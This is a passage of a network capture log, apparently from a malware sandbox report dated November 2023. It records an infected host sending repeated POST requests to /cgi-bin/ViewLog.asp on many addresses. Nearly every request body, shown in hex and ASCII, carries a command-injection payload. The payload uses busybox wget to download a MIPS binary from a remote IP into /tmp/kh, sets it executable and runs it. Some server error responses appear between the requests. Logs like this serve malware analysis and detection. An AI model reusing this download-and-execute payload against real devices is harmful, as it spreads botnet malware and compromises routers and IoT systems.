                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:15.383780956 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                923192.168.2.154952894.46.168.1158080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.649260044 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.846266985 CET1340INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:23:06 GMT
                                                Server: Apache
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Content-Type: text/html
                                                Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d
                                                Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                924192.168.2.153552462.29.70.1038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.666012049 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                925192.168.2.154531462.29.82.458080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.666033983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                926192.168.2.154511494.121.156.718080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.666085005 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                927192.168.2.155966095.86.67.288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.681369066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                928192.168.2.155984494.110.44.1698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.693924904 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                929192.168.2.155511062.29.97.1188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.875953913 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                930192.168.2.155201494.187.108.938080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:06.884601116 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                931192.168.2.154155631.200.60.1608080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.035202026 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                932192.168.2.153891894.251.185.1748080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.250004053 CET388INHTTP/1.0 400 Bad Request
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:23:06 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>
                                                Nov 23, 2023 05:23:09.824855089 CET388INHTTP/1.0 400 Bad Request
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:23:06 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                933192.168.2.153542431.136.254.208080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.251662970 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:10.263812065 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:16.407675028 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                934192.168.2.155993462.178.208.328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.275563955 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.487852097 CET376INHTTP/1.1 404 Not Found
                                                Server: nginx
                                                Date: Thu, 23 Nov 2023 04:37:43 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                935192.168.2.153899294.122.6.488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.280551910 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                936192.168.2.153492294.121.151.2298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.287117004 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.543780088 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
